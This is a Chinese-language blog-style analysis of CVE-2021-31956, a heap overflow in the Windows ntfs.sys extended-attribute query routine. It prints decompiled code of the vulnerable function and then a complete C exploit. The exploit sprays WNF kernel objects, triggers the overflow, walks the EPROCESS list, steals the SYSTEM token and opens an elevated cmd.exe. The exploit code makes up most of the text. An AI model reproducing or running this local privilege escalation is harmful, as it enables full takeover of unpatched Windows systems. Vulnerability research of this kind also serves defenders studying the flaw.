CVE-2021-31956漏洞分析
0x00前言
分析版本是windows 1909 ntfs.sys
该漏洞发生在ntfs.sys中的NtfsQueryEaUserEaList函数中
堆溢出导致的权限提升
0x01分析
_QWORD *__fastcall NtfsQueryEaUserEaList( _QWORD *a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6, // pUserEaList char a7) { int v8; // edi unsigned int v9; // ebx unsigned int v10; // r15d unsigned int *v11; // r12 unsigned int v12; // r14d unsigned __int8 v13; // r13 unsigned int *i; // rbx unsigned int v15; // ebx _DWORD *v16; // r13 unsigned int v17; // r14d unsigned int v18; // ebx __int64 v20; // rdx char v21; // al unsigned int v22; // [rsp+20h] [rbp-38h] unsigned int v23; // [rsp+24h] [rbp-34h] BYREF _DWORD *v24; // [rsp+28h] [rbp-30h] struct _STRING DestinationString; // [rsp+30h] [rbp-28h] BYREF STRING SourceString; // [rsp+40h] [rbp-18h] BYREF unsigned int v27; // [rsp+A0h] [rbp+48h] v8 = 0; *a1 = 0i64; v24 = 0i64; v9 = 0; v27 = 0; v10 = 0; a1[1] = 0i64; while ( 1 ) { v11 = (unsigned int *)((char *)a6 + v9); *(_QWORD *)&DestinationString.Length = 0i64; DestinationString.Buffer = 0i64; *(_QWORD *)&SourceString.Length = 0i64; SourceString.Buffer = 0i64; DestinationString.Length = *((unsigned __int8 *)v11 + 4); DestinationString.MaximumLength = DestinationString.Length; DestinationString.Buffer = (char *)v11 + 5; RtlUpperString(&DestinationString, &DestinationString); if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )// 检查 pUserEaList 是否有效 break; v12 = *v11; v13 = *((_BYTE *)v11 + 4); v22 = *v11 + v9; for ( i = a6; ; i = (unsigned int *)((char *)i + *i) )// pUserEaList 遍历 { if ( i == v11 ) { v15 = v27; v16 = (_DWORD *)(a4 + v10 + v27); // 分配的内存池 if ( (unsigned __int8)NtfsLocateEaByName(a2, *(unsigned int *)(a3 + 4), &DestinationString, &v23) )// 更具name查找相应的ea信息 { v20 = a2 + v23; // ea_block v17 = *(unsigned __int16 *)(v20 + 6) + *(unsigned __int8 *)(v20 + 5) + 9; if ( v17 <= a5 - v10 ) // 防溢出检查 { memmove(v16, (const void *)v20, v17); *v16 = 0; goto LABEL_8; } } else { v17 = *((unsigned __int8 *)v11 + 4) + 9; if ( v17 + v10 <= a5 ) { *v16 = 0; *((_BYTE *)v16 + 4) = 0; *((_BYTE *)v16 + 5) = *((_BYTE *)v11 + 4); *((_WORD *)v16 + 3) = 0; memmove(v16 + 2, (char *)v11 + 5, *((unsigned __int8 *)v11 + 4)); SourceString.Length = DestinationString.Length; SourceString.MaximumLength = DestinationString.Length; SourceString.Buffer = (PCHAR)(v16 + 2); RtlUpperString(&SourceString, &SourceString); v15 = v27; *((_BYTE *)v16 + *((unsigned __int8 *)v11 + 4) + 8) = 0; LABEL_8: v18 = v17 + v10 + v15; v27 = v18; if ( !a7 ) { if ( v24 ) *v24 = (_DWORD)v16 - (_DWORD)v24; if ( *v11 ) { v24 = v16; a5 -= v17 + v10; v10 = ((v17 + 3) & 0xFFFFFFFC) - v17;// 只可能0,123 goto LABEL_26; } } LABEL_12: a1[1] = v18; LABEL_13: *(_DWORD *)a1 = v8; return a1; } } v21 = NtfsStatusDebugFlags; a1[1] = 0i64; if ( v21 ) NtfsStatusTraceAndDebugInternal(0i64, 2147483653i64, 919406i64); v8 = -2147483643; goto LABEL_13; } if ( v13 == *((_BYTE *)i + 4) && !memcmp((char *)v11 + 5, (char *)i + 5, v13) ) break; } if ( !v12 ) { v18 = v27; goto LABEL_12; } LABEL_26: v9 = v22; } a1[1] = v9; if ( NtfsStatusDebugFlags ) NtfsStatusTraceAndDebugInternal(0i64, 2147483667i64, 919230i64); *(_DWORD *)a1 = -2147483629; return a1; }
0x02exp
nt.h 文件
#pragma once typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef NTSTATUS(NTAPI*__ZwQueryEaFile)( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, BOOLEAN ReturnSingleEntry, PVOID EaList, ULONG EaListLength, PULONG EaIndex, BOOLEAN RestartScan ); typedef NTSTATUS(NTAPI*__ZwSetEaFile)( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length ); typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; typedef struct _FILE_GET_EA_INFORMATION { ULONG NextEntryOffset; UCHAR EaNameLength; CHAR EaName[1]; } FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; typedef struct _WNF_STATE_NAME { ULONG Data[2]; } WNF_STATE_NAME, *PWNF_STATE_NAME; typedef enum _WNF_STATE_NAME_LIFETIME { WnfWellKnownStateName, WnfPermanentStateName, WnfPersistentStateName, WnfTemporaryStateName } WNF_STATE_NAME_LIFETIME; typedef enum _WNF_DATA_SCOPE { WnfDataScopeSystem, WnfDataScopeSession, WnfDataScopeUser, WnfDataScopeProcess, WnfDataScopeMachine } WNF_DATA_SCOPE; typedef struct _WNF_TYPE_ID { GUID TypeId; } WNF_TYPE_ID, *PWNF_TYPE_ID; typedef const WNF_TYPE_ID *PCWNF_TYPE_ID; typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)( _Out_ PWNF_STATE_NAME StateName, _In_ WNF_STATE_NAME_LIFETIME NameLifetime, _In_ WNF_DATA_SCOPE DataScope, _In_ BOOLEAN PersistData, _In_opt_ PCWNF_TYPE_ID TypeId, _In_ ULONG MaximumStateSize, _In_ PSECURITY_DESCRIPTOR SecurityDescriptor ); typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP; typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)( _In_ PWNF_STATE_NAME StateName, _In_reads_bytes_opt_(Length) const VOID * Buffer, _In_opt_ ULONG Length, _In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const PVOID ExplicitScope, _In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ ULONG CheckStamp); typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)( _In_ PWNF_STATE_NAME StateName, _In_opt_ PWNF_TYPE_ID TypeId, _In_opt_ const VOID * ExplicitScope, _Out_ PWNF_CHANGE_STAMP ChangeStamp, _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, _Inout_ PULONG BufferSize); typedef struct _WNF_STATE_NAME_REGISTRATION { PVOID64 MaxStateSize; PVOID64 TypeId; PVOID64 SecurityDescriptor; }WNF_STATE_NAME_REGISTRATION, *PWNF_STATE_NAME_REGISTRATION; typedef NTSTATUS (NTAPI * __NtDeleteWnfStateData) ( _In_ PWNF_STATE_NAME StateName, _In_opt_ const VOID *ExplicitScope ); typedef NTSTATUS (NTAPI * __NtDeleteWnfStateName)(_In_ PWNF_STATE_NAME StateName); extern __ZwSetEaFile NtSetEaFile; extern __ZwQueryEaFile NtQueryEaFile; extern __NtCreateWnfStateName NtCreateWnfStateName; extern __NtUpdateWnfStateData NtUpdateWnfStateData; extern __NtQueryWnfStateData NtQueryWnfStateData; extern __NtDeleteWnfStateData NtDeleteWnfStateData; extern __NtDeleteWnfStateName NtDeleteWnfStateName; #define SPRAY_COUNT 10000 #define PAYLOAD_SIZE 1000 #define STATE_NAME_MASK 0x41C64E6DA3BC0074 #define TIGGER_EA_NAME ".PA" #define OVER_EA_NAME ".PBB" #define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME)) #define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME)) #define KERNAL_ALLOC_SIZE 0xae #define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1)) #define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9)) // #define OVER_EA_VALUE_LENGTH (0x53 + 0x10) #define OVER_EA_VALUE_LENGTH (0xf) //#define OVER_STATENAME (0x517131) #define OVER_STATEDATA_LENGTH 0x1000 extern UINT64 OVER_STATENAME ; // extern UINT64 TIGGER_STATENAME; #define TIGGER_STATENAME ((OVER_STATENAME) ^ (0x41C64E6DA3BC0074)) #define PROCESS_LIST_ENTRY_OFFSET 0x248 //NumberOfPrivatePages #define IMAGE_FILE_NAME_OFFSET 0x398 struct _WNF_NODE_HEADER { USHORT NodeTypeCode; //0x0 USHORT NodeByteSize; //0x2 }; struct _EX_RUNDOWN_REF { union { ULONGLONG Count; //0x0 VOID* Ptr; //0x0 }; }; struct _RTL_BALANCED_NODE { union { struct _RTL_BALANCED_NODE* Children[2]; //0x0 struct { struct _RTL_BALANCED_NODE* Left; //0x0 struct _RTL_BALANCED_NODE* Right; //0x8 }; }; union { struct { UCHAR Red : 1; //0x10 UCHAR Balance : 2; //0x10 }; ULONGLONG ParentValue; //0x10 }; }; struct _WNF_STATE_NAME_STRUCT { ULONGLONG Version : 4; //0x0 ULONGLONG NameLifetime : 2; //0x0 ULONGLONG DataScope : 4; //0x0 ULONGLONG PermanentData : 1; //0x0 ULONGLONG Sequence : 53; //0x0 }; struct _EX_PUSH_LOCK { union { struct { ULONGLONG Locked : 1; //0x0 ULONGLONG Waiting : 1; //0x0 ULONGLONG Waking : 1; //0x0 ULONGLONG MultipleShared : 1; //0x0 ULONGLONG Shared : 60; //0x0 }; ULONGLONG Value; //0x0 VOID* Ptr; //0x0 }; }; struct _WNF_LOCK { struct _EX_PUSH_LOCK PushLock; //0x0 }; struct _RTL_AVL_TREE { struct _RTL_BALANCED_NODE* Root; //0x0 }; struct _WNF_SCOPE_INSTANCE { struct _WNF_NODE_HEADER Header; //0x0 struct _EX_RUNDOWN_REF RunRef; //0x8 enum _WNF_DATA_SCOPE DataScope; //0x10 ULONG InstanceIdSize; //0x14 VOID* InstanceIdData; //0x18 struct _LIST_ENTRY ResolverListEntry; //0x20 struct _WNF_LOCK NameSetLock; //0x30 struct _RTL_AVL_TREE NameSet; //0x38 VOID* PermanentDataStore; //0x40 VOID* VolatilePermanentDataStore; //0x48 }; struct _WNF_STATE_DATA { struct _WNF_NODE_HEADER Header; //0x0 ULONG AllocatedSize; //0x4 ULONG DataSize; //0x8 ULONG ChangeStamp; //0xc }; typedef struct _WNF_NAME_INSTANCE { _WNF_NODE_HEADER Header; //0x0 _EX_RUNDOWN_REF RunRef; //0x8 _RTL_BALANCED_NODE TreeLinks; //0x10 _WNF_STATE_NAME_STRUCT StateName; //0x28 _WNF_SCOPE_INSTANCE* ScopeInstance; //0x30 _WNF_STATE_NAME_REGISTRATION StateNameInfo; //0x38 _WNF_LOCK StateDataLock; //0x50 _WNF_STATE_DATA* StateData; //0x58 ULONG CurrentChangeStamp; //0x60 VOID* PermanentDataStore; //0x68 struct _WNF_LOCK StateSubscriptionListLock; //0x70 struct _LIST_ENTRY StateSubscriptionListHead; //0x78 struct _LIST_ENTRY TemporaryNameListEntry; //0x88 PVOID CreatorProcess; //0x98 LONG DataSubscribersCount; //0xa0 LONG CurrentDeliveryCount; //0xa4 }WNF_NAME_INSTANCE, *PWNF_NAME_INSTANCE; #define PROCESS_ID_OFFSET 0x1b8 #define TOKEN_OFFSET 0x320 #define PROCESS_LIST_OFFSET 0x2f0
c文件
// ConsoleApplication11.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <Windows.h> #include "nt.h" #include <sddl.h> __ZwQueryEaFile NtQueryEaFile = NULL; __ZwSetEaFile NtSetEaFile = NULL; __NtCreateWnfStateName NtCreateWnfStateName = NULL; __NtUpdateWnfStateData NtUpdateWnfStateData = NULL; __NtQueryWnfStateData NtQueryWnfStateData = NULL; __NtDeleteWnfStateData NtDeleteWnfStateData = NULL; __NtDeleteWnfStateName NtDeleteWnfStateName = NULL; WNF_STATE_NAME StateNames[SPRAY_COUNT] = { 0 }; UINT64 OVER_STATENAME = 0; int initNtDll() { HMODULE hNtDll = NULL; hNtDll = LoadLibrary("ntdll.dll"); if (hNtDll == NULL) { printf("load ntdll failed!\r\n"); return -1; } NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile"); NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile"); NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName"); NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData"); NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData"); NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData"); NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName"); if (NtQueryEaFile == NULL || NtSetEaFile == NULL || NtCreateWnfStateName == NULL || NtUpdateWnfStateData == NULL || NtQueryWnfStateData == NULL || NtDeleteWnfStateData == NULL || NtDeleteWnfStateName == NULL) { printf("not found functions\r\n"); return -1; } return 0; } int tiggerLeak() { PFILE_GET_EA_INFORMATION EaList = NULL; PFILE_GET_EA_INFORMATION EaListCP = NULL; PVOID eaData = NULL; DWORD dwNumberOfBytesWritten = 0; UCHAR payLoad[PAYLOAD_SIZE] = { 0 }; PFILE_FULL_EA_INFORMATION curEa = NULL; HANDLE hFile = INVALID_HANDLE_VALUE; IO_STATUS_BLOCK eaStatus = { 0 }; NTSTATUS rc; PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL; PISECURITY_DESCRIPTOR pSecurity = NULL; PUCHAR pd = NULL; PUCHAR StateDataLock = NULL; PUINT64 StateData = NULL; PUINT64 StateName = NULL; PUINT64 parent = NULL; PUINT AllocatedSize = NULL; PUINT DataSize = NULL; int state = -1; hFile = CreateFileA("payload", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("create the file failed\r\n"); goto ERROR_HANDLE; } WriteFile(hFile, "This files has an optional .COMMENTS EA\n", strlen("This files has an optional .COMMENTS EA\n"), &dwNumberOfBytesWritten, NULL); curEa = (PFILE_FULL_EA_INFORMATION)payLoad; curEa->Flags = 0; curEa->EaNameLength = TIGGER_EA_NAME_LENGTH; curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH; //align 4。 curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3); memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH); RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A'); curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset); curEa->NextEntryOffset = 0; curEa->Flags = 0; curEa->EaNameLength = OVER_EA_NAME_LENGTH; curEa->EaValueLength = OVER_EA_VALUE_LENGTH; memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH); RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0); pd = (PUCHAR)(curEa); AllocatedSize = (PUINT)(pd + 0x4 + 0x10); DataSize = (PUINT)(pd + 0x8 + 0x10); *AllocatedSize = OVER_STATEDATA_LENGTH; *DataSize = OVER_STATEDATA_LENGTH; rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad)); if (rc != 0) { printf("NtSetEaFile failed error code is %x\r\n", rc); goto ERROR_HANDLE; } eaData = malloc(sizeof(payLoad)); if (eaData == NULL) { goto ERROR_HANDLE; } memset(eaData, 0, sizeof(payLoad)); EaList = (PFILE_GET_EA_INFORMATION)malloc(100); if (EaList == NULL) { goto ERROR_HANDLE; } EaListCP = EaList; memset(EaList, 0, 100); memcpy(EaList->EaName, ".PA", strlen(".PA")); EaList->EaNameLength = (UCHAR)strlen(".PA"); EaList->NextEntryOffset = 12; // align 4 EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12); memcpy(EaList->EaName, ".PBB", strlen(".PBB")); EaList->EaNameLength = (UCHAR)strlen(".PBB"); EaList->NextEntryOffset = 0; rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE); state = 0; ERROR_HANDLE: if (hFile != INVALID_HANDLE_VALUE) { CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; } if (EaList != NULL) { free(EaListCP); EaList = NULL; } if (eaData != NULL) { free(eaData); eaData = NULL; } if (pSecurity != NULL) { free(pSecurity); pSecurity = NULL; } return state; } int HeapSpray() { NTSTATUS state = 0; PSECURITY_DESCRIPTOR pSD = nullptr; BYTE upData[0xa0] = { 0 }; RtlFillMemory(upData, sizeof(upData), 'C'); if (!ConvertStringSecurityDescriptorToSecurityDescriptor("", SDDL_REVISION_1, &pSD, nullptr)) { return -1; } for (int i = 0; i < SPRAY_COUNT; i++) { state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD); if (state != 0) { return -1; } } for (int i = 1; i < SPRAY_COUNT; i+=2) { state = NtDeleteWnfStateName(&StateNames[i]); if (state != 0) { return -1; } StateNames[i].Data[0] = 0; StateNames[i].Data[1] = 0; state = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i - 1], &upData, 0xa0, NULL, NULL, NULL, 0); if (state != 0) { return -1; } } for (int i = 0; i < SPRAY_COUNT; i += 4) { NtDeleteWnfStateData(&StateNames[i], NULL); state = NtDeleteWnfStateName(&StateNames[i]); if (state != 0) { return -1; } StateNames[i].Data[0] = 0; StateNames[i].Data[1] = 0; } if (pSD) { LocalFree(pSD); } return 0; } int tigger(UINT64 StateName) { NTSTATUS state = 0; UINT64 name = StateName; BYTE upData[0x74] = { 0 }; RtlFillMemory(upData, sizeof(upData), 'A'); name ^= STATE_NAME_MASK; state = NtUpdateWnfStateData((PWNF_STATE_NAME)&name, &upData, 0x70, NULL, NULL, NULL, 0); return state; } int OverStateData(PWNF_STATE_NAME StateName, PUCHAR Buff) { NTSTATUS state = NtUpdateWnfStateData(StateName, (const void*)Buff, OVER_STATEDATA_LENGTH, NULL, NULL, NULL, 0); return state; } NTSTATUS GetOverStateData(UINT64 StateName, PUCHAR Buff, PULONG size) { WNF_CHANGE_STAMP Stamp; ULONG BufferSize = *size; UINT64 name = StateName; name ^= STATE_NAME_MASK; NTSTATUS state = NtQueryWnfStateData((PWNF_STATE_NAME)&name, NULL, NULL, &Stamp, Buff, &BufferSize); if (state != 0) { printf(__FUNCTION__ "failed size: %d state: %x\r\n", BufferSize, state); return state; } *size = BufferSize; return 0; } UINT64 GetProcessEprocess(UINT64 StateName, PUINT64 pid, UINT pidOffset=0x120, UINT eprocessOffset=0x128) { UCHAR Buff[0x3000] = { 0 }; ULONG BufferSize = 0x3000; int state = GetOverStateData(StateName, Buff, &BufferSize); if (state != 0) { printf(__FUNCTION__"filed %x\r\n", state); return 0; } if (BufferSize == 0) //idle { *pid = 0; return 0; } *pid = *((PUINT64)(Buff + pidOffset)); return *((PUINT64)(Buff + eprocessOffset)); } int GetProcessName(UINT64 StateName, PCHAR name) { UCHAR Buff[0x5000] = { 0 }; ULONG BufferSize = 0x5000; int state = GetOverStateData(StateName, Buff, &BufferSize); if (state != 0) { printf(__FUNCTION__"filed %x\r\n", state); return -1; } memcpy(name, Buff, 0x100 - 1); return 0; } UINT64 GetProcessToken(UINT64 StateName) { UCHAR Buff[0x5000] = { 0 }; ULONG BufferSize = 0x5000; int state = GetOverStateData(StateName, Buff, &BufferSize); if (state != 0) { printf(__FUNCTION__" filed %x\r\n", state); return -1; } return *(PUINT64)(Buff + 0x30); } NTSTATUS EnumProcessEprocess(PWNF_STATE_NAME StateName, PUCHAR Buff) { BOOL Isexist = FALSE; for (int i = 0; i < SPRAY_COUNT; ++i) { if (*(PUINT64)StateName == *((PUINT64)&StateNames[i])) { Isexist = TRUE; } } if (Isexist == FALSE) { printf("the wnf obj is deleted!!!\r\n"); return -1; } PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10); UINT64 eProcess = (UINT64)NameIns->CreatorProcess; if (eProcess == 0) { return -1; } NTSTATUS state = -1; UINT64 entry = (UINT64)(eProcess + PROCESS_ID_OFFSET); UINT64 systemEProcess = 0; for (;;) { NameIns->StateData = (_WNF_STATE_DATA*)(entry); state = OverStateData(StateName, Buff); if (state != 0) return -1; UINT64 pid = 0; UINT64 next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid); // handle idle process if (pid == 0) { entry = entry + 0x269 - PROCESS_ID_OFFSET; NameIns->StateData = (_WNF_STATE_DATA*)(entry); state = OverStateData(StateName, Buff); if (state != 0) return -1; next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid, 0x6f, 0x77); printf("EPROCESS: %llx PID: %lld\r\n", entry - 0x269, pid); } else { printf("EPROCESS: %llx PID: %lld\r\n", entry - PROCESS_ID_OFFSET, pid); } if (pid == 4) { printf("found system process\r\n"); systemEProcess = entry - PROCESS_ID_OFFSET; break; } if (next == 0) break; entry = next - PROCESS_LIST_OFFSET + PROCESS_ID_OFFSET; } if (systemEProcess != 0) { NameIns->StateData = (_WNF_STATE_DATA*)(systemEProcess + TOKEN_OFFSET); state = OverStateData(StateName, Buff); if (state != 0) return -1; UINT64 token = GetProcessToken(*(PULONGLONG)&(NameIns->StateName)); UCHAR tokenBuff[0x5000] = { 0 }; ULONG tokenBufferSize = 0x5000; NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET); state = OverStateData(StateName, Buff); if (state != 0) return -1; int state = GetOverStateData(*(PULONGLONG)&(NameIns->StateName), tokenBuff, &tokenBufferSize); if (state != 0) { printf(" filed %x %d\r\n", state, __LINE__); return -1; } *(PUINT64)(tokenBuff + 0x30) = token; NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET + 4); state = OverStateData(StateName, Buff); if (state != 0) { printf(" filed %x %d\r\n", state , __LINE__); return -1; } UINT64 name = *(PULONGLONG)&(NameIns->StateName); name ^= STATE_NAME_MASK; state = NtUpdateWnfStateData((PWNF_STATE_NAME)(&name), tokenBuff + 4, 0x100, NULL, NULL, NULL, 0); if (state != 0) { printf("re token failed state: %x\r\n", state); return -1; } STARTUPINFO StartupInfo = { 0 }; PROCESS_INFORMATION ProcessInformation = { 0 }; if (!CreateProcess("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation)) { printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError()); return -1; } WaitForSingleObject(ProcessInformation.hProcess, INFINITE); } return 0; } int main() { BOOL IsSuccess = FALSE; UINT Count = 0; PVOID pSelfEprocess = NULL; if (initNtDll() != 0) { printf("initNtDll filed!\r\n"); goto PAUSE; } if (HeapSpray() != 0) { printf("HeapSpray filed!\r\n"); goto PAUSE; } RE_TRY: if (Count++ >= 1000) { printf("exp filed!\r\n"); goto PAUSE; } if (tiggerLeak() != 0) { printf("tigger leak filed!\r\n"); goto PAUSE; } for (int i = 0; i < SPRAY_COUNT; i += 2) { WNF_CHANGE_STAMP Stamp; ULONG BufferSize = 0xa0; UCHAR Buff[OVER_STATEDATA_LENGTH] = { 0 }; if (StateNames[i].Data[0] == 0 && StateNames[i].Data[1] == 0) continue; NTSTATUS state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize); if (state == 0xc0000023) { BufferSize = OVER_STATEDATA_LENGTH; state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize); if (state != 0) { ; } else { PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10); if (NameIns->Header.NodeByteSize == 0xa8 && NameIns->Header.NodeTypeCode == 0x903 && NameIns->RunRef.Ptr == NULL ) { if (EnumProcessEprocess(&StateNames[i], Buff) == 0) { IsSuccess = TRUE; } } } } } if (IsSuccess == FALSE) goto RE_TRY; IsSuccess = !IsSuccess; PAUSE: system("pause"); return 0; }
从此山高路远,纵马扬鞭。愿往后旅途,三冬暖,春不寒,天黑有灯,下雨有伞。此生尽兴,不负勇往。